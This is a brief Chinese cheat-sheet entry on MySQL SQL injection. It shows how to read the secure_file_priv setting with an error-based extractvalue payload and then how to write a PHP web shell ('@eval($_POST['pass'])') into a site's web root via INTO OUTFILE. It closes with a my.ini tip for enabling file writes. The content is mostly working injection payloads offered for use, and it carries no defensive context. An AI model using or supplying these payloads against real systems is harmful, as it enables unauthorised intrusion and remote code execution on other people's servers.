查看mysql是否有文件讀寫權限，sql注入查詢secure_file_priv權限

show VARIABLES like '%secure%'

sql注入中的使用方法

查詢secure_file_priv權限
?id=43 ) and extractvalue(1, concat(0x7e, (select @@global.secure_file_priv),0x7e)) --+(

寫shell
?id=43 ) and extractvalue(1, concat(0x7e, (select “<?php @eval($_POST['pass']);?>” INTO OUTFILE “D:\wwwroot\xxx.com\Runtime\2.php”),0x7e)) --+(

 

 

 如果不顯示需要配置my.ini

添加secure_file_priv=""